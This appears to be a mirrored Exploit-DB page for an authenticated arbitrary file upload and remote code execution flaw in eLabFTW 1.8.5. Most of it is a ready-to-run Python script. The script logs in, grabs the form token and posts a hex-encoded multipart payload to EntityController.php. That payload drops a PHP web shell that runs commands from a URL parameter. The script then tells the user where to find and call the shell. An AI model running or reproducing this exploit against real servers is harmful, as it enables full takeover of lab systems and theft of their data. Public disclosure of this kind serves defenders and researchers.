eLabFTW 1.8.5 – Arbitrary File Upload / Remote Code Execution

  • 作者: liquidsky
    日期: 2019-05-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46869/
  • # Exploit Title : eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE
    # Date: 5/18/19
    # Exploit Author: liquidsky (JMcPeters)
    # Vulnerable Software : eLabFTW 1.8.5
    # Vendor Homepage : https://www.elabftw.net/
    # Version : 1.8.5
    # Software Link : https://github.com/elabftw/elabftw
    # Tested On : Linux / PHP Version 7.0.33 / Default installation (Softaculous)
    # Author Site : http://incidentsecurity.com | https://github.com/fuzzlove
    #
    # Greetz : wetw0rk, offsec ^^
    #
    # Description: eLabFTW 1.8.5 is vulnerable to arbitrary file uploads via the /app/controllers/EntityController.php component.
    # This may result in remote command execution. An attacker can use a user account to fully compromise the system using a POST request.
    # This will allow for PHP files to be written to the web root, and for code to execute on the remote server.
    #
    # Notes: Once this is done a php shell will drop at https://[targetsite]/[elabftw directory]/uploads/[random 2 alphanum]/[random long alphanumeric].php5?e=whoami
    # You will have to visit the uploads directory on the site to see what the name is. However there is no protection against directory listing.
    # So this can be done by an attacker remotely.
    
    #!/usr/bin/env python
    
    import requests
    from bs4 import BeautifulSoup as bs4
    requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
    import sys
    import time
    
    print "+-------------------------------------------------------------+"
    print
    print "- eLabFTW 1.8.5 'EntityController' Arbitrary File Upload / RCE"
    print
    print "-Discovery / PoC by liquidsky (JMcPeters) ^^"
    print
    print "+-------------------------------------------------------------+"
    
    try:
    
    	target = sys.argv[1]
    	email = sys.argv[2]
    	password = sys.argv[3]
    	directory = sys.argv[4]
    
    except IndexError:
    
    	print "- Usage: %s <target> <email> <password> <directory>" % sys.argv[0]
    	print "- Example: %s incidentsecurity.com user@email.com mypassword elabftw" % sys.argv[0]
    
    	sys.exit()
    
    proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
    
    # The payload to send
    data = ""
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37"
    data += "\x32\x31\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39"
    data += "\x34\x31\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a"
    data += "\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69"
    data += "\x74\x69\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61"
    data += "\x3b\x20\x6e\x61\x6d\x65\x3d\x22\x75\x70\x6c\x6f\x61\x64\x22"
    data += "\x0d\x0a\x0d\x0a\x74\x72\x75\x65\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36\x37\x35"
    data += "\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31\x31\x36"
    data += "\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f\x6e\x74\x65"
    data += "\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69\x6f\x6e\x3a"
    data += "\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20\x6e\x61\x6d"
    data += "\x65\x3d\x22\x69\x64\x22\x0d\x0a\x0d\x0a\x34\x0d\x0a\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
    data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
    data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
    data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
    data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
    data += "\x6e\x61\x6d\x65\x3d\x22\x74\x79\x70\x65\x22\x0d\x0a\x0d\x0a"
    data += "\x65\x78\x70\x65\x72\x69\x6d\x65\x6e\x74\x73\x0d\x0a\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31"
    data += "\x36\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31"
    data += "\x31\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x0d\x0a\x43\x6f"
    data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
    data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
    data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
    data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x33\x2e\x70\x68"
    data += "\x70\x35\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79"
    data += "\x70\x65\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e"
    data += "\x2f\x78\x2d\x70\x68\x70\x0d\x0a\x0d\x0a\x3c\x3f\x70\x68\x70"
    data += "\x20\x65\x63\x68\x6f\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65"
    data += "\x63\x28\x24\x5f\x47\x45\x54\x5b\x27\x65\x27\x5d\x2e\x27\x20"
    data += "\x32\x3e\x26\x31\x27\x29\x3b\x20\x3f\x3e\x0d\x0a\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
    data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x37\x32\x31\x36"
    data += "\x37\x35\x39\x38\x31\x31\x30\x38\x37\x34\x35\x39\x34\x31\x31"
    data += "\x31\x36\x33\x30\x33\x39\x35\x30\x37\x37\x2d\x2d\x0d\x0a"
    
    s = requests.Session()
    
    print "[*] Visiting eLabFTW Site"
    r = s.get('https://' + target + '/' + directory +
    '/login.php',verify=False)
    print "[x]"
    
    # Grabbing token
    html_bytes = r.text
    soup = bs4(html_bytes, 'lxml')
    token = soup.find('input', {'name':'formkey'})['value']
    
    values = {'email': email,
    'password': password,
    'formkey': token,}
    
    time.sleep(2)
    
    print "[*] Logging in to eLabFTW"
    
    r = s.post('https://' + target + '/' + directory +
    '/app/controllers/LoginController.php', data=values, verify=False)
    
    print "[x] Logged in :)"
    
    time.sleep(2)
    
    sessionId = s.cookies['PHPSESSID']
    
    headers = {
    #POST /elabftw/app/controllers/EntityController.php HTTP/1.1
    #Host: incidentsecurity.com
    "User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0",
    "Accept": "application/json",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    #Referer: https://incidentsecurity.com
    "Cache-Control": "no-cache",
    "X-Requested-With": "XMLHttpRequest",
    "Content-Length": "588",
    "Content-Type": "multipart/form-data; boundary=---------------------------72167598110874594111630395077",
    "Connection": "close",
    "Cookie": "PHPSESSID=" + sessionId + ";" + "token=" + token
    }
    
    print "[*] Sending payload..."
    r = s.post('https://' + target + '/' + directory +
    '/app/controllers/EntityController.php',verify=False, headers=headers,
    data=data)
    print "[x] Payload sent"
    print
    print "Now check https://%s/%s/uploads" % (target, directory)
    print "Your php shell will be there under a random name (.php5)"
    print
    print "i.e https://[vulnerable site]/elabftw/uploads/60/6054a32461de6294843b7f7ea9ea2a34a19ca420752b087c87011144fc83f90b9aa5bdcdce5dee132584f6da45b7ec9e3841405e9d67a7d196f064116cf2da38.php5?e=whoami"